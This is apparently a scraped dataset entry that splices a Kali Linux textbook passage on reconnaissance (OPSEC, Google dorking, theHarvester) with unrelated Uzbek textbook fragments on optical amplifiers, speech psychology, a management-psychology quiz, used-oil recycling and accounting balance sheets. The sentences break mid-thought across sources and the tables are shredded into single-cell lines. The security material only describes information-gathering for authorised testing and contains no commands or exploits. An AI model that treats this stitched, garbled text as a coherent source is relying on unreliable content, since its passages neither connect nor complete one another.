nyuuzyou/kompy huggingface dataset:
What Is Reconnaissance? - Learning Kali Linux

the way we talk about information security.
We talk about arms races, attacking,
defending, and of course, reconnaissance. What we are doing here is trying to gather
information to make our lives as testers (attackers or adversaries) easier. Although
you can go blindly at your testing and just throw as much
at the wall as you can think
of, generally speaking, testing is not an unlimited activity. We have to be careful and
conscious with our time. It’s best to spend a little time up front to see what we are
facing rather than spending a lot of time later shooting into the dark.
When you start gathering information about your target, it’s
usually best to not make
a lot of noise. You want to start making your inquiries at a distance without engaging
your target directly. Obviously, this will vary from engagement to engagement. If you
work at a company,
you may not need to be quiet, because everyone knows what you
are doing. However, you may need to use the same tactics we’ll talk about to deter‐
mine the sort of footprint your company is leaving. You may find that your company
is leaking a lot of information to public outlets that it doesn’t mean to leak. You can
use the open source intelligence tools and tactics to help protect your company
against attack.
OPSEC
One important concept worth going into here is that of OPSEC, or operations secu‐
rity. You may have heard the expression “Loose lips sink ships”
that originated in
World War II. This phrase is a brief encapsulation of what operations security means.
Critical information related to a mission must remain secret. Any information leak‐
age can compromise an operation. When it comes to military missions, that secrecy
even extends to families of members of the military. If a family member were to let it
be known that their loved one were deployed to a particular geographic location and
maybe that loved
one has a specific skillset, people might figure out what is happen‐
ing. Two plus two, and all that. When too much information is publicly available
about your company, adversaries (whatever their nature is) may be able to infer a lot
about the company. Employing essential components
of OPSEC can be important to
keeping attackers away as well as protecting against information leakage to competi‐
tors.
It may also be helpful to understand the type of attackers your company is most con‐
cerned about. You may be concerned about the loss of intellectual property to a com‐
petitor. You may also be concerned with the much broader range of attacks from
organized crime and nation-states looking for targets of opportunity. These distinc‐
tions can help you determine the pieces of information you are most concerned with
keeping inside the company and what you are comfortable with letting out.
If we were thinking just of network attacks, we might be satisfied here with port scan‐
ning and service scanning. However, a complete security test may cover more than
Regenerator va optik kuchaytirgichlarning qiyosiy
xarakteristikalari

|
Regenerator va optik kuchaytirgichlarning qiyosiy
xarakteristikalari
|
bet | 117/160 | Sana | 13.01.2024 | Hajmi | 1 Mb. | | #136728 |
Bog'liq Optik aloqa asoslari (N.Yusupov, R.Isayev)Regenerator va optik kuchaytirgichlarning qiyosiy
xarakteristikalari
11.1-jadval
Xarakteristikasi
|
Regenerator
|
Optik kuchaytirgich
|
Tuzilishi
|
Murakkab
|
Oddiy
|
Narxi
|
Arzon
|
Qimmat, biroq arzonlashmoqda
|
Puxtaligi
|
Yuqori
|
Juda yuqori
|
Signalni regenera tsiyalash
|
Bajariladi
|
Bajarilmaydi
|
Uzatish tezligiga bog'liqligi
|
Bog'liq
|
Bog'liq emas
|
Bir vaqtda bir necha signallarni uzatish imkoniyati
|
Mavjud emas
|
Mavjud
|
Signal/ shovqin nisbati
|
Yuqori
|
Past
|
Qo‘llanish sohasi
|
Lokal, mintaqaviyva mintaqalararo tarmoqlar
|
Mintaqaviy va mintaqalararo tarmoqlar
|
Optik kuchaytirgichlar kam elementlardan tarkib topganligi uchun ularning tuzilishi oddiy. Lekin narxi ancha qimmat. Eh- tiyojning oshishi bilan narxi arzonlashishi mumkin. Optik kuchaytirgichlarning ishonchliligi regeneratorlarga qaraganda yuqori. Bu uning eng muhim afzalligi bo‘lib, optik kabellar suv ostiga yotqizilganda, retranslyatorlarni tashkil etishda e’tiborga olinadi. Optik kuchaytirgichlarning ishi signallarning uzatish tezligiga bog‘liq emas, regeneratorlarda esa aksincha. Regeneratorlar bitta signal bilan ishlaydi. Optik kuchaytirgichlar esa kuchaytirish sohasining berilgan oraliq chegarasida turli to'lqin uzunlikli (WDM signal) bir necha optik signallarni bir vaqtda kuchaytiradi. .
Optik kuchaytirgichlar regeneratorlardan farqli ravishda optik signallarni elektrik signallarga aylantirmay kuchaytiradi. Kuchaytirgichlar optik signallarning shaklini tiklamaydi, faqatgina kuchaytiradi, buning ustiga signal tarkibiga qo‘shimcha shovqinlar qo‘shadi. Ko‘p kanalli optik tizimlarda har bir punktda har bir optik kanal uchun alohida regenerator talab qilinsa, bir necha optik kanallar
276
www.ziyouz.com kutubxonasi
uchun bitta optik kuchaytirgich kerak bo'ladi. Oddiyligi va ishon- chliligining yuqoriligi optik kuchaytirgichlarning afzalligidir. Shu- ningdek, optik kuchaytirgichlarning ishi uzatish tezligiga bog‘liq emas, regeneratorlarda esa aksincha.
Optik regeneratorning tuzilishi, ish prinsipi va optik signallarni regeneratsiyalash jarayonini batafsil ko‘rib chiqamiz.
Optik signallarni regeneratsiyalash.
Regeneratorning tuzilishi va ish prinsipi
11.1-rasmda Retranslyator-regeneratorning umumiy tuzilish prinsipi keltirilgan [5].
|
| |
| Chapter 3: Reconnaissance

just
the hard, technical, “can you break into a system from open ports” style of attack.
It may include operational responses, human interfaces,
social engineering, and much
more. Ultimately, the security posture of a business is impacted by far more than just
which services are exposed to the outside world.
As a result, there is far more to per‐
forming reconnaissance in preparation for security testing than just performing a
port scan.
One of the great things about the internet is that there is just so much information.
The longer you are connected and interact with the internet, the more breadcrumbs
there are about you. This is true of people and businesses. Think about social net‐
working sites just as a starting point. What sort of presence do you have? How much
information have you scattered around about you? What
about as an employee for
the company you are working for? In addition to all of this, the internet stores infor‐
mation just to keep itself running and allow us to get around. This is information
about domain names,
contact information, company details, addressing, and other
useful data for you as you are working through a security test.
Over time, the importance of locating this information
has generated many tools to
make that information easier to extract from the places it’s stored. This includes
command-line tools that have been around for a while, but also websites,
browser
plug-ins, and other programs. There are so many places to mine for information,
especially as more and more people are online and there are more places gathering
information. We won’t go over all the ways to gather information through different
websites, though there are a lot of sites you can use. We
will focus on tools that are
available in Kali, with a little discussion over extensions you can add into Firefox,
which is the browser used as the default in Kali.
Nutq va til to’g’risidagi tushuncha. Nutqning turlari va funksiyalari

51
o’qituvchining hikoyasi, o’quvchining kenggaytirilgan javobi, ma’ro’za va shu
kabilar kiradi.
Dialog nutqda til qoidalariga unchalik rioya qilinmasa ham suhbatdoshlar
bir–birlarini tushunaveradilar.
Yozma
nutq insoniyat tarixida og’zaki nutqdan ancha keyin paydo
bo’lgan. Yozuv tufayli odamlar to’plangan tajribalarni avloddan-avlodga
to’lasicha yetkazish imkoni tug’ildi. Bordi-yu bu tajribalar og’zaki nutq tarzida
o’tkazilganda bo’zilishi, o’zgarishi, hatto yo’kolib ketishi mumkin edi.
Masalan, bobokolonimiz Imom al-Buxoriy tomonidan «Hadis»larni yozma
to’plashga o’tilganligi.
Yozma nutq ham dialog va monolog shakllarida uchraydi. Nutqning
nerv – fiziologik mexanizmini eshitish va harakat analizatorlari tashkil etadi.
Chunki axborotni qabul qilish va uni boshqalarga berish uchun avvalo eshitish
analizatorlari yaxshi ishlashi kerak. Gapirayotganda esa o’pka, og’iz
muskullari faol harakatga keladi. Ayniqsa, artikulyasion apparat yaxshi ishlashi
kerak. Buning faoliyatisiz birorta harf yoki so’z hosil bo’lmaydi. Nutqning
nerv–fiziologik mexanizmlarini bosh miyadagi nutq markazlari ham tashkil
etadi. Olimlarning, ayniqsa, A. R. Luriyaning tajribalari shuni ko’rsatadiki,
bosh miyadagi nutq markazlari ishdan chiqsa, nutqni tushunish yoki nutq
so’zlash birdaniga izdan chiqar ekan. Biz o’zaro muloqotda til, nutqning
o’zidangina foydalanib qolmasdan, balki qo’l, barmoq va yuz harakatlari,
imo–ishora, ohang, pao’za, kulgu, ko’z yoshi qilish va shu kabilardan ham
foydalanamiz. Bular og’zaki kommunikasiya vositalari – so’zlarni to’ldiruvchi
va kuchaytiruvchi, ba’zan esa o’rnini bosuvchi belgilar tizimini tashkil etadi.
Eng muhimi, kishi nutqni tarbiyalash bo’yicha oldiga aniq maqsad
qo’yishi va ana shu maqsad asosida qat’iy mashqlar olib borishi lozim.
Masalan, kishi adabiy tilda so’zlashga o’rganishni o’z oldiga maqsad qilib
qo’ygan bo’lsa, faqat dars paytidagi javoblaridagina emas, har qanday
sharoitda, har bir kishi bilan bo’lgan muloqotda ham o’zini gaplarini nazorat
qilib borishi, shevachilikka yo’l qo’ymasligi lozim. O’z–o’zini nazorat qilish
bo’lmasa kishi Hech qachon nutq madaniyatini, muomala madaniyatini egallay
olmaydi, u notiq bo’la olmaydi.
"psixologiya" - bet 49

61
etilgani ma’qul, bo‘lmasa, odamlar ertalabdan uning qarorlarini muhokama qilib
kunni o‘tkazishlari ehtimoldan xoli bo‘lmaydi. To‘g‘ri, ba’zan zudlik bilan
operativ qarorlar qabul qilish kerak bo‘lib qoladi, shunda boshliq majbur bo‘ladi
odamlarni to‘plashga, shunda u xodimlardan, muovinlar bo‘lsa ham kechirim
so‘rashi kerak, chunki u ertalabdan har bir xodim o‘z kunini rejalashtirib
bo‘lganini unutmasligi kerak.
Muhim qarorlar qabul qilishga bag‘ishlangan majlisni odatda rahbarning
o‘zi boshlaydi, shunda u muammoni qanchalik qisqa, lo‘nda va aniq fikrlarda
bayon etolsa, vaqtdan yutadi, aks holda faqat muammoga aniqlik kiritishga
ancha vaqt ketib qoladi. Majlislarda axloq-odob normalariga qat’iy rioya qilishni
nazorat qilish odatda majlis raisiga yuklanadi. Bunda xar bir majlis ishtirokchisi
o‘zini faqat tinglash uchun taklif etilgan emas, balki qaror qabul qilishga mas’ul,
deb anglashi kerak. Agar majlisda o‘zaro samimiyat ruhi ustivor bo‘lsa,
xodimlar ham yaxshi, ijodiy fikrlarni o‘rtaga tashlaydilar. Boshliqning asosiy
vazifasi o‘rtaga tashlanayotgan fikrlarga nisbatan boshqalar tomonidan
zaharxandalik yoki kulish holatlari ro‘y bermasligini nazorat qiladi. Lekin
psixologik nuqtai nazardan boshliq shuni unutmasligi kerakki, xar qanday
auditoriya taxminan uch toifali ishtirokchilardan iborat bo‘ladi:
“tarafdorlar”, ya’ni har qanday fikrga qo‘shilaveradigan, hamfikrlar;
“neytrallar”, aniq fikrga ega bo‘lmagan, biroz betaraf, tez u yoki bu fikrga og‘ib
ketaveradiganlar;
“muxoliflar”, boshliq qanday taklifni o‘rtaga tashlasa ham e’tirozlar bilan qarshi
oladiganlar.
Demak, boshliq ana shu omilni ham inobatga olib, muhim qarorlar qabul
qilishda bu ichki guruhlar psixologiyasini inobatga oshishi zarur.
Ko‘pincha majlislar yoki bevosita ishlab chiqarish muammolarini
muhokama qilish jarayonida fikrlar bir-biriga to‘g‘ri kelmay qoladi. Bu
jamoadagi nizolarga asos bo‘lishi mumkin. SHuning uchun nizolar va nizoli
vaziyatlar, ularni oqilona hal etish yo‘llari to‘g‘risida ham mulohaza yuritamiz.
| Chapter 3: Reconnaissance

Google Hacking Database
Another aspect of Google searching to note is that there is a data‐
base of useful search queries. This is the Google Hacking Database
that was started in 2004 by Johnny Long, who began collecting use‐
ful or interesting search terms in 2002. Currently, the
Google Hack‐
ing Database
is
hosted at
exploit-db.com
. The dorks are maintained
by categories, and there are a lot of interesting keywords that you
may be able to use as you are doing security testing for a company.
You can take any search term you find in the database and add
site:
followed by the domain name. You will
then turn up potentially
vulnerable pages and sensitive information using Google hacking.
One final keyword that you can use, though you may be limited in when you might
use it, is
cache:
. You can pull a page out of Google’s search cache to see what the page
looked like the last time Google cached it. Because you can’t control the date you are
looking for, this keyword may not be as useful as the
Wayback
Machine
in terms of
the cache results you can get. However, if a site is down for whatever reason, you can
pull the pages down from Google. Keep in mind, though,
that if you are referring to
the Google cache because the site is down, you can’t click links in the page because
they will still refer to the site that is down. You would need to use the
cache:
keyword
again to get that page back.
Automating Information Grabbing
All of this searching
can be time-consuming, especially if you have to go through
many queries in order to get as many results as possible. Fortunately, we can use tools
in Kali to get results quickly. The first tool we are going to look at is called the‐
Harvester. This is a program that can use multiple sources for looking for details.
This includes not only Google or Bing,
two popular search providers, but also
LinkedIn, a social networking site for business opportunities where you post your
resume online and make connections with people for business purposes, including
hiring searches. theHarvester will also search through Twitter and Pretty Good Pri‐
vacy (PGP). When the
Harvester looks through PGP, it is looking through an online
database of people who use PGP to encrypt or sign their emails. Using the online
PGP database, theHarvester will be able to turn up numerous email addresses if the
people have ever registered a PGP key.
In
Example 3-1
, we take a look for PGP keys that have
been registered using the
domain name
oreilly.com
. This will provide us with a list of email addresses, as you
can see, though the email addresses have been obscured here just for the sake of pro‐
priety. The list of email addresses has been truncated as well. Several more results
were returned. Interestingly, even though I created my first PGP key in the 90s and
have had to regenerate keys a few times for my personal
email address because I
Pedagogik mulokot – bu - "psixologiya"

54
5-MAVZU:
BOSHQARUV PSIXOLOGIYASI
Aniqlashtirilgan o’quv
maqsadlari
.
Talaba
bu
mavzuni
to’la
o’zlashtirgandan so’ng:
- Boshqaruv,
rahbar, lider, boshqarish tushunchalarni farqlay oladi;
- Menejer, qonuniyat, mehnat, qaror, bozor, inson hayotida tutgan o’rni va
funksiyalarini biladi;
- Nizoli holatlarni tushuntiradi;
-
Nizolarni hal etish
strategiyasini qo’llaydi.
Tayanch iboralar:
Rahbarlik sifatlari, rahbarlik nazariyalari, nizo turlari, bosqichlari, hal
etish yo‘llari, boshqaruv, muloqot, munozara, psixologiya, ziddiyat, lider,
mezon, toqat, talant, temperament, tinimsiz mehnat, tashabbus, guruh,
munosabat
Mavzu yuzasidan test savollari

52
3. Muloqotning shaxslararo munosabatlarda axborot, ma’lumot, fikr
almashinuvi tomoni:
A) interaktiv
B) kommunikativ
C) perseptiv
D) refleksiv
4. Muloqotning shaxslararo munosabatlarda bir-birlarini idrok etishlari va
tushunishlari :
A) interaktiv
B) kommunikativ
C) perseptiv
D) refleksiv.
5. Odam o‘z xis-kechinmalarini nutqsiz izhor qilmoqchi bo‘lsa, qanday
namoyon etadi:
A) mimika, pantomimika
B) nutq
C) dialog
D) monolog
6. Boshqalarning his-kechinmalarini tushunishga moyillik va tayyorlik
holati:
A) egoizm
B)
altruizm
C) empatiya
D) simpatiya
7. Muloqot jarayonining ko‘p qirrali ekanligini qaysi jihatlar ifodalaydi:
A) shaxslarning o‘zaro ta’siri
B) shaxslar o‘rtasida axborot almashinuvi
C) bir kishining boshqasiga ta’sir ko‘rsatishi
D) barcha javoblar to‘g‘ri
8. SHaxs uchun taqlid qilish va andoza olish guruhi turi:
A)
referent guruh
B) normativ guruh
C) negativ guruh
D) qiyoslash guruhi
9. Mulokot – bu:
A) hayotiy muxim masalalarni boshqa odamlar
bilan xal kilish jarayoni;
B) insonni amaliy va nazariy faoliyatni tashkil etish usuli;
C) e’tikod, dunyokarash va ideallarning shakllanish jarayoni;
D) bolalarda akliy, axlokiy xislarining paydo bulish jarayoni.
Siqilgan gazni saqlash va tarqatish

194
lash jarayonini tezlatish uchun nasosdan (markazdan qochma kuch
ta’sirida ishlaydigan) foydalaniladi. Gaz yostig‘ini hosil qilish
hamda turli haroratlarda ballonni portlashdan himoya qilish uchun
ballon sig‘imining 90 foizi gaz bilan to‘ldiriladi.
Garaj ichida ishlatiladigan neft mahsulotlari ularga bo‘lgan talab
asosida (10- va 11- shakllar) amalga oshiriladi.
8. 3. Ishlatilgan moylarni yig‘ish, saqlash va
qayta ishlashga topshirish
Ishlatilgan neft mahsulotlarini yig‘ish va qaytadan ishlatish
yonilg‘i va moylash materiallarini tejash bilan bir qatorda, atrof
muhitning ifloslanishini kamaytiradi. Shuning uchun ham bu tadbir
neft mahsulotlaridan samarali foydalanish muammosining tarkibiy
qismi sifatida qaraladi.
Ishlatilgan neft mahsulotlari, ayniqsa, surkov moylarini, ish-
lab chiqarish uchun ko‘p miqdorda xarajat qilishga to‘g‘ri keladi.
Agarda 100 t neftdan 10 t yangi moylash materiali olinsa, 100 t
ishlatilgan moylardan 60–80 t qayta tiklangan, sifati bo‘yicha yan-
gi moylardan qolishmaydigan moy olinadi. Yig‘ilgan moylarning
deyarli 35–80 fozi joylarda qayta ishlanadi va narxi yangi moylar
narxining 6–23 foizini tashkil etadi.
Neft mahsulotlari ishlatilish sharoiti va qo‘llanilishiga qarab
3 guruhga bo‘linadi: ishlatilgan motor moylari (IMM), ishlatilgan
sanoat moylari (ISM), ishlatilgan neft mahsulotlari aralashmasi
(INMA) (moylar, benzin, kerosin, dizel yonilg‘isi). Birinchi va ik-
kinchi guruhlarga kiruvchi ishlatilgan moylarni yig‘ishda ularga
benzin, kerosin, nigrol, surkov moylari va boshqa moddalarning
aralashishiga yo‘l qo‘yilmaydi. Chunki ular regeneratsiya qilinib,
qo‘shimcha qo‘shilmalar qo‘shilib qaytadan ishlatiladi.
Uchinchi guruh ishlatilgan neft mahsulotlarini tozalashda
ta’minlash va qaytadan ishlatish uchun yig‘ishda ularga sintetik,
jadal zanglanuvchi, zaharli moddalar va boshqa begona mahsulot-
lar aralashmasligi kerak.
195
Ishlatilgan neft mahsulotlari uchun standart talablari (DS
21046–81) asosida, ularning fizikaviykimyoviy ko‘rsatkichlari
ning ma’ lum qiymatlari belgilab qo‘yilgan (8. 2- jadval).
8. 2- jadval
Ishlatilgan neft mahsulotlarining

198
Ishlatilgan moylarni tozalashda, shuningdek, gidrodinamik va
mexanik usullar bilan kuzatiladigan yumshoq tebranishlar may-
doni ham qo‘llanilishi mumkin. Bunda qattiq zarrachalarning koa-
gulatsiyasi hosil bo‘lib, ularni cho‘ktirish yoki g‘ovak to‘siqlar
orqali tozalash usuli bilan osongina ajratib olish mumkin. Moylarni
tozalashda tozalash mayinligi dag‘al tozalash (70–100 mkm), o‘r-
tacha (20–60 mkm), mayin (1–20 mkm) va ultrafiltrlardan (0,1 mkm
dan kam) tozalovchi material sifatida foydalaniladi.
Moylardan organik iflosliklarni chiqarib tashlash uchun ul-
trafiltrlash va teskari osmos hodisasi yoki membran jarayonlari
qo‘llaniladi. Membran jarayonlar yarimo‘tkazgich to‘siqlar yor-
damida bir xil moddalarning molekulalarini o‘tkazib, qolganla-
rini ushlab qolish xususiyatiga asoslangan. To‘siqlar sifatida po-
limer plyonkalar, g‘ovak shisha, zar qog‘oz va ion almashtiruvchi
moddalar ishlatiladi. Fizikaviy tozalash usullaridan tashqari fizik
kimyoviy usullari ham qo‘llanadi. Ishlatilgan moylarni adsorbsion
usulda tozalashda quyidagi sorbentlar ishlatiladi: tabiiy sorbent-
lar – oqlovchi loy, oksidlar, tabiiy seolitlar; sun’iy sorbentlar – se-
ligakel, aluminiy oksidi, alumosilikatli birikmalar, sintetik seolitlar.
Ishlatilgan moylarni tozalash uchun katta g‘ovakli seligakel KSK
donachalari (diametri 3–7 mm li) va aluminiyning aktiv oksidi (di-
ametri 3–6 mm, 10–25 mm uzunlikdagi sterjenlar shaklida hamda
dona shaklida) ishlatiladi.
-jadval 
Boshlang‘ich balans - Microsoft Word 03 Kishlok xujaligida buxalteriya xisobi va solikka tortish \

1-muomala. Qiymati 8600 so‘mlik Material ombordan asosiy ishlab chiqarishga berildi va
sarflandi. Bu muomala natijasida ombordagi Materiallar 8600 so‘mga kamaydi (24200 – 8600 =
15600). Shu vaqtning o‘zida asosiy ishlab chiqarish xarajatlari 8600 so‘mga ko‘payadi
(43850Q8600q52450). Bu muomaladan so‘ng balansning jami summasi o‘zgarmadi,
faqat balans
aktividagi moddalar orasida o‘zgarish sodir bo‘ldi.
Birinchi tip balans o‘zgarishining ya'ni faqat aktivdagi moddalar orasida sodir bo‘lgan
o‘zgarishning matematik modelini tuzamiz.
3.3-jadval
1-muomaladan keyingi balans
Aktiv
Summa,
so‘m
Passiv
Summa,
so‘m
Asosiy vositalar
1312600
Ustav kapitali
1448960
Materiallar (-8600)
15600
Xodimlar bilan mehnat haqi bo‘yicha
hisoblashuvlar
39890
Asosiy
ishlab chiqarish
(+8600)
52450
Hisob-kitob schoti
134400
Mol yetkazib beruvchilar
26200
Balans
1515050
Balans
1515050
Agar balans aktivi summalarining jami A, balans passivining summalarining jamini P, balans
moddalarining summasini a deb qabul kilsak, quyidagi matematik modelni tuzamiz,
, (1)
Ushbu model quyidagicha o‘qiladi: balans aktivining bir moddasi ko‘payadi, boshqasi (u bilan
bog‘liq bo‘lgan)
xuddi shu summaga kamayadi; natijada aktiv va passiv summalar yig‘indisi
o‘zgarmaydi, ularning o‘zaro tengligi saqlanib qoladi.
2-muomala. Xodimlarga hisoblangan ish haqi summasidan 14500 so‘m daromad solig‘i
ushlandi. Bu muomaladan so‘ng hisoblangan ish haqi summasi 25390 so‘m bo‘lgan (39890-
14500=25390) va bir vaqtning o‘zida balans passivida 1450 so‘mga “Soliq va majburiy to‘lovlar
bo‘yicha majburiyatlar” degan yangi modda paydo bo‘ladi.
Shunday qilib, bu muomala natijasida faqat balans passividagi moddalar orasida o‘zgarishlar
ro‘y bergan va yig‘indisi o‘zgarmagan.
materiallari va maxsus suyuqliklarni qabul qilish

192
o‘z zimmalariga quyidagi majburiyatlarni olishlari lozim: yonilg‘i
va moylash materiallarini saqlashni shunday tashkil etish kerakki,
bunda ularning isrof bo‘lishi va sifatining yomonlashishiga barham
berilishi ta’minlangan bo‘lishi lozim. Shuningdek, omborxona
ishlarini bajarish mexanizatsiyalashtirilgan bo‘lishi, texnika xavf-
sizligi va sanitariya-gigiyenik sharoitlar ta’minlanishi lozim. ATK
da neft mahsulotlari omborxonalarini joylashtirish, ularning tex-
nik ta’minoti, ish tartibi, shuningdek,
omborxonalarda saqlanishi
mumkin bo‘lgan neft mahsulotlarining chegaraviy miqdori mahal-
liy o‘t o‘chirish tashkiloti bilan kelishuv asosida belgilanishi lozim.
Bunda neft mahsulotlarining bug‘lanuvchanlik darajasi (8. 1- jad-
val) va omborxonalar tavsifini hisobga olish lozim.
8. 1- jadval
Kalkulyatsiyalashning mohiyati va ahamiyati

Xarajatlarning alohida turlarini ilmiy asoslangan normalar va normativlar negizida
rejalashtirish, hisob va kalkulyatsiyani, xarajatlar shakllanishining nazorati va auditini to‘g‘ri yo‘lga
qo‘yish mahsulot (ish, xizmat) tannarxini boshqarish tizimining asosini tashkil etadi.
Xususan, ichki nazoratning vazifalari barcha xo‘jalik muomalalarining to‘liqligi va
qonuniyligini, jumladan schetlar guruhlari bo‘yicha jamlangan summalarni arifmetik tekshirishdan
iborat.
Kalkulyatsiyalash masalalari buxgalter oldida xo‘jalik mablag‘lari doiraviy aylanishining
barcha bosqichlarida (ta’minot, ishlab chiqarish va realizatsiya) vujudga keladi.
Mahsulotlar tannarxini hisoblash jarayonida kalkulyatsiyalash ob’ekti va kalkulyatsiya birligi,
xarajat elementi va xarajat moddasi to‘g‘risida aniq tasavvurga ega bo‘lish lozim.
Suv miqdori, % - K. J. Matkarimov b. J. Mahmudov a. A. Norqulov avtomobillarda ishlatiladigan ashyolar

202
mexanik aralashmalar, suv, smolali birikmalar borligini, moylar-
nnig kinematik qovushoqligini tekshirish imkonini beradi.
Laboratoriya jamlanmasiga sig‘im, sisterna va boshqa katta
idishlardan namuna olish uchun ishlatiladigan lot (8. 1- rasm) ki-
radi. Namuna olish vaqtida rezina naycha 5 ning yuqori uchi qisib
qo‘yiladi va ruletka
4 yordamida lot kerakli chuqurlikka tushiriladi.
So‘ngra naycha ochiladi, shunda neft mahsuloti stakan
7 ni to‘ldira-
di. Namuna olgich ko‘tariladi, qopqog‘i burab ochiladi va yonilg‘i
quruq, toza idishga to‘kiladi. Agar sig‘im tubidagi suv qatlamining
qalinligini aniqlash lozim bo‘lsa, chizg‘ich
1 ga yupqa qilib pasta
surtiladi yoki unga suvga sezgir qog‘oz mahkamlanadi.
Kichikroq idishdan namuna olish uchun laboratoriya qop-
qog‘ining ichki tomoniga qo‘yilgan namuna olgichlardan foydala-
niladi (8. 2- rasm). Yonilg‘i aluminiy naycha
1 yordamida, moy esa
naycha
2 yordamida olinadi. Ular namuna olgichning yuqorigi qis-
miga oraliq detal vositasida biriktirib tutashtiriladi. Plastik surkov
moylaridan namuna olish uchun ularga namuna olgich
3 burab
kirgiziladi. Teshikka qo‘yiladigan kurakcha
5 yordamida namuna
bankaga tushiriladi va yaxshilab aralashtiriladi.
8. 2- rasm. Namuna olgichlar:
a, b, d – mos ravishda yonilg‘i, moy, surkov moyi olish uchun naycha-
lar;
e – kurakcha.
203
Sig‘imlarda neft mahsulotining uchta sathidan, ya’ni neft mah-
sulotining yuzidan 200 mm chuqurdan (1 qism), o‘rta sathidan
(3 qism) va rezervuar tubidan 250–300 mm chuqurlikda joylashgan
pastki sathidan (1 qism) olingan namunalar aralashtirilib, neft mah-
sulotining o‘rtacha namunasi olinadi. Har bir namunaga uning mar-
kasi va olingan kuni ko‘rsatilgan yorliq yopishtirladi. Uzoq muddat
saqlashda har 3 oyda o‘rta qatlamdan hamda idish tubidan namuna
olinib, yonilg‘ining ifloslanganligi tekshiriladi.
Laboratoriyada, namuna olgichdan tashqari, areometrlar (zich-
likni aniqlash uchun), termometrlar, spirtometr, gidrometr (anti-
frizning qotish haroratini aniqlash uchun) kabi qator o‘lchash ji-
hozlari ham bo‘ladi. Laboratoriyada jihozlar ro‘yxati bilan birga
ulardan foydalanish qoidalari yozilgan yo‘riqnoma ham mavjud.
Suv va mexanik aralashmalar borligini aniqlash

204
8. 3- rasm. Tindirgich:
1 – yonilg‘i
; 2 – suv;
3 – mexnnik aralashma-
lar.
probirkaning yuqori qismi xiralashsa-yu,
moy chirsillamasa, moyda suv
juda kam
bo‘ladi.
Mexanik aralashmalar va suv borli-
gini namunani tindirish yo‘li bilan ham
aniqlash mumkin. Bunda 8. 3- rasmda
ko‘rsatilgan shakldagi 100 ml sig‘imli tin-
dirgichdan foydalaniladi.
Tindirgichnmg quyi qismi 10 ml haj-
m gacha 0,05 ml li qilib darajalangan (bu
darajalarga qarab
suv va mexanik aralash-
malar miqdori aniqlanadi), undan keyin
esa 25, 50 va 100 ml li darajalar ko‘rsatil-
gan. Qovushoqligi past yonilg‘i yaxshilab
ara lashtiriladi va tezda tindirgichning 100
ml li sathigacha quyiladi. Tindirgich 25
min vertikal holda ushlab turilgach, mex-
anik aralashmalar miqdori foiz hisobida
aniqlanadi. Bu miqdor millilitrda o‘lchan-
gan cho‘kindi hajmiga teng bo‘ladi. Qovu-
shoqroq yonilg‘ining
tinishini tezlashtirish
uchun tindirgichni iliq (50–60°C harorat-
dagi) suvga qo‘ygan ma’qul. Motor moy-
laridagi aralashmalar juda sekin cho‘kadi,
shuning uchun moyga benzin aralashtirish
kerak. Moyning o‘rtacha namunasi tin-
dirgichning 25 yoki 50 ml sathigacha quyiladi, 100 ml sathigacha
esa toza benzin quyiladi. Aralashma aralashtiriladi va tindirgich is-
siq suvga tushiriladi. Mexanik aralashmalarning miqdorini foizda
aniqlash uchun ularning millilitrdagi miqdorini 4 ga (agar
namuna
uchun 25 ml moy olingan bo‘lsa) va 2 ga (agar 50 ml moy olingan
bo‘lsa) ko‘paytirish lozim.
Moylarda abraziv mexanik aralashmalar borligini ishqalash usu-
li bilan ham aniqlash mumkin. Buning uchun ikkita toza, quruq
205
yassi oyna olinadi. Ulardan biriga sinaladigan moydan olingan o‘r-
tacha namunadan 1–2 tomchi tomiziladi. Keyin
bu oynaga ikkin chi
oyna ishqalanadi. Agar moyda abraziv bo‘lsa, shishalar o‘ziga xos
keskin g‘ijirlaydi.
Ishlatilgan moylarni tozalash uchun qurilma va uskunalar

|
Ishlatilgan moylarni tozalash uchun qurilma va uskunalarBog'liq K. J. Matkarimov b. J. Mahmudov a. A. Norqulov avtomobillarda isIshlatilgan moylarni tozalash uchun qurilma va uskunalar.
Ishlatilgan moylarni tozalash uchun filtr ФМН kam miqdorda
chiqarilgan bo‘lib, avtoxo‘jaliklarda va neft omborlarida, agrokom-
pleks texnik xizmat ko‘rsatish korxonalarida deyarli ishlatilmay-
di. Shuning uchun joylarda, asosan, yonilg‘ilarni tozalash uchun
ishlab chiqarilgan ФГН va ФВГ filtrlarini ishlatish mumkin. Bu
holda qurilmalarga moy yonilg‘ini tozalashdagiga qaraganda biroz
kamroq me’yorda beriladi.
Moylar va gidravlik tizimlar uchun suyuqliklarni iflosliklardan
tozalashda ixcham markazdan qochma qurilmalar СОГ–903А,
СОГ–904А va УМС–901А ishlatilishi mumkin. Bu filtrtozalagich
199
qurilmalarning asosiy qismi nasossentrifugali ПСН–907А va
ПСН–908А gidrotozalagichlaidan iborat.
Moyning qovushoqligiga qarab qurilmaning ish unumi 600–
2700 l/s, (shiddat) 0,3 MPa gacha, 1–5 mkm o‘lchamli mexanik
zarrachalardan tozalanadi. Qurilma qovushoqligi 1–50 mm
2
/s ga
teng moylarni tozalay oladi.
Ishlatilgan moylarni tozalash uchun CM–1–300 rusumli mar-
kazdan qochma seperatorlar, sentrifugalar ham ishlatiladi. Ular ning
ish qobiliyati – 3 m
3
/s.
Bu qurilmalar regeneratorlar vazifasini ham bajaradi. Moylarni
tozalash uchun bir kishi qurilmani dastgoh yoki agregat, mashinaga
surib keladi, uni mashinaga ulab, qurilmani yurgizadi. Bir necha
daqiqa davomida, karter yoki moy baki hajmiga qarab, ishlatilgan
moy tozalanib, boshqa idishga suzib olinadi (moylarni tozalash
5-bobda batafsil keltirilgan).
СУРМ–1 (GOSNITI) regeneratsion qurilmasi eng qulay va
samarali hisoblanib, unda tozalangan suyuqlik oliy toifa talabiga
javob beradi (8. 3- jadval).
8. 3- jadval
СУРМ–1 qurilmasining М–10Г moyini
tozalashdagi ko‘rsatkichlari
Moy namunasining
turlari
|
| |
-jadval 
Buxgalteriya balansi - Microsoft Word 03 Kishlok xujaligida buxalteriya xisobi va solikka tortish \

Taqsimlanmagan
foyda
450
241
779
I bo‘lim
bo‘yicha jami
X
2660
2970
I bo‘lim bo‘yicha
jami
X
3748
4346
II Joriy
aktivlar
II Majburiyatlar
Ishlab
chiqarish
zaxiralari
150
245
293
Uzoq muddatli
majburiyatlar
490
601
938
Tugallanmaga
n ishlab
chiqarish
160
833
1031
Debitorlar
210
976
1089
Pul
mablag‘lari
320
486
1717
Joriy majburiyatlar
600
851
813
II bo‘lim
bo‘yicha jami
X
2540
3130
II bo‘lim bo‘yicha
jami
X
1452
